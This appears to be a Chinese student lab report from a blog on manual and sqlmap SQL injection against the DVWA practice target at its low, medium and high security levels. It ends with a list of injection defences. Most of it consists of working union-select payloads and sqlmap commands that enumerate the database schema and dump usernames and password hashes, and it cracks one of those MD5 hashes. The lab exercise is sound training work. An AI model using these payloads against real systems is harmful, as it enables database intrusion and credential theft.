Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

目录

一、实验目的

二、实验软硬件要求

三、实验预习

四、实验内容(实验步骤、测试数据等)

五、实验步骤

(1) 下载并安装配置DVWA

(2)运行DVWA,创建数据库。

(3) 登录DVWA

(4) 按教材操作流程完成SQ注入分析,验证不同安全级别情况下sql注入的风险,并就实现结果提出安全应对建议。

设置低级防护:根本没有安全措施

1.判断是否存在注入

2.猜解SQL查询语句中的字段数及字段顺序

3.获取当前数据名

4.获取数据库的表名

5.获取表中的字段名

6.获取user及password

7.尝试破解口令

设置中等级防护:发人员试图保护应用程序但失败

1)判断是否存在注入,是字符还是数字

2)猜测SQL查询语句中的字段数

3)获取当前数据名

4)获取数据库的表名

5)获取表中的字段名

6)获取user及password

设置高级防护:对中等难度的扩展,混合了更难或替代性的错误做法来尝试保护代码。该漏洞可能不允许进行相同程度的攻击,类似于各种CTF比赛。

设置不可能级防护:此级别应针对所有漏洞进行安全保护。它用于将易受攻击的源代码与安全源代码进行比较。

sqlmap注入

爆破数据库

爆破dvwa的表

爆破dvwa的guestbook的字段

爆破密码

前情提要

原本实验没有要求sqlmap等操作,听说是做到low等级就好,自行辨别。

一、实验目的

借助Web漏洞教学和演练的开源工具DVWA,学习并了解Web漏洞(以SQL注入为例)的原理及利用,验证SQL注入漏洞的实现过程及结果,并思考应对web漏洞风险的策略与手段。

二、实验软硬件要求

1、操作系统:windows 7/8/10等

2、开发环境:DVWA

三、实验预习

《软件安全技术》教材第4章

四、实验内容(实验步骤、测试数据等)

1. 目标:案例4-2。

2. 实验说明:借助Web漏洞教学和演练的开源工具DVWA,验证SQL注入漏洞的实现过程及结果

3. 步骤:

  1. 判断是否存在注入
  2. 猜解SQL查询语句中的字段数及字段顺序
  3. 获取当前数据名
  4. 获取数据库的表名
  5. 获取表中的字段名
  6. 获取user及password
  7. 尝试破解口令

(5)完成实验报告

4. 要求:提供实验步骤说明及相应截图,完成实验报告。

五、实验步骤

(1) 下载并安装配置DVWA

书上安装XAMPP,但我不打算安装,我用phpstudy进行

安装phpstudy

启动Apache

浏览器输入http://localhost/

下载DVWA,将DVWA文件夹放在WWW文件夹下

打开phpstudy,创建域名

修改配置文件config.inc.php,如果没有就复制一份config.inc.php.dist

修改password为root(书上为空密码),user改为root

(2)运行DVWA,创建数据库。

打开首页http://dvwa(或者直接dvwa),

拉到最下方,点击create/reset database初始化数据库

(3) 登录DVWA

输入admin,password

(4) 按教材操作流程完成SQ注入分析,验证不同安全级别情况下sql注入的风险,并就实现结果提出安全应对建议。

设置低级防护:根本没有安全措施

源代码:

1.判断是否存在注入

输入1

输入1’and’1’=’2

输入1'or'1'='1

2.猜解SQL查询语句中的字段数及字段顺序

输入1’ or 1=1 order by 1 #

输入1’ or 1=1 union select 1,2,3,4,5,6,7,8#

判断只有两个字段

输入1' or 1=1 order by 3#

核实只有两字段

输入' union select 1,2#

3.获取当前数据名

输入'union select user(),database() #

4.获取数据库的表名

输入' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#

有时候会出现这个字符集不兼容的问题,DVWA问题

在sql语句from前添加COLLATE utf8_general_ci即可

输入1' union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database()#

5.获取表中的字段名

输入' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

输入1' union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='users'#

6.获取user及password

输入' union select user,password from users#

7.尝试破解口令

口令是32位,数据库常用加密md5,盲猜md5

5f4dcc3b5aa765d61d8327deb882cf99

设置中等级防护:发人员试图保护应用程序但失败

源代码:

它的用户交互界面变成了选项,阻挡了一些的注入

在提交id的过程中,发现页面刷新很快,上交的携带参数url无法肉眼捕捉,可以利用bp来搞。

上号bp

1)判断是否存在注入,是字符还是数字

先试试抓包,拦截,换参数,上传一波流能不能成功

进行尝试注入1' or 1=1 #

看到回应报文

更改注入1 or 1=1 #

回应报文,成功

2)猜测SQL查询语句中的字段数

更改参数为1 order by 2#,成功

更改参数为1 order by 3#,失败

只有两个字段

3)获取当前数据名

更改参数1 union select user(),database() #

4)获取数据库的表名

更改参数1 union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database()#

5)获取表中的字段名

更改参数1 union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='users'#

但这个注入又很奇怪

6)获取user及password

更改参数1 union select user,password from users#

设置高级防护:对中等难度的扩展,混合了更难或替代性的错误做法来尝试保护代码。该漏洞可能不允许进行相同程度的攻击,类似于各种CTF比赛。

源代码:

与medium级别代码相比,high级别的只是在SQL查询语句中增加limit 1,希望以此控制只输出一个结果。

虽然增加limit 1,但是可以通过#将其注释掉。

手工注入的过程与low级别基本一样,直接最后一部演示下载数据

输入' union select group_concat(user_id,first_name,last_name),group_concat(password) from user #

设置不可能级防护:此级别应针对所有漏洞进行安全保护。它用于将易受攻击的源代码与安全源代码进行比较。

源代码:

impossible级别的代码采用了PDO技术,划清了代码与数据的界限,能有效防御sql注入,同时查询返回结果数量为1时,才会成功输出,这样有效预防了脱裤。

sqlmap注入

此外,我进行了sqlmap注入,这比手工快多了。但要注意命令格式

sqlmap.py -u "http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1"  -dbms mysql -dbs

dvwa靶场有外部登入,所以需要加上cookie,cookie在php info里面查找

爆破数据库

 

爆破dvwa的表

sqlmap.py -u "http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1"  -dbms mysql -D dvwa --tables

爆破dvwa的guestbook的字段

sqlmap.py -u "http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1"  -D “dvwa”  -T ”users” --columns

爆破密码

sqlmap.py -u "http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1" -D "dvwa" -T "users" -C "user,password" --dump

六、实验体会(遇到的问题及解决方法)

麻烦,文档不能完整上传,图片要单贴。实验步骤有进行略微跳步,但跳的都是简单操作,如果不懂了话,需要去补充一些相关内容。

SQL注入防护手段:

  1. 参数类型检测
  2. 参数长度检测
  3. 危险参数过滤
  4.      黑名单过滤
  5.      白名单过滤
  6.      GPC过滤(PHP.in配置中,magic_quotes_qpc=on,可以自动对输入语句转义)
  7. 参数化查询
  8. 服务器对网站的权限最小化
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

王陈锋

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值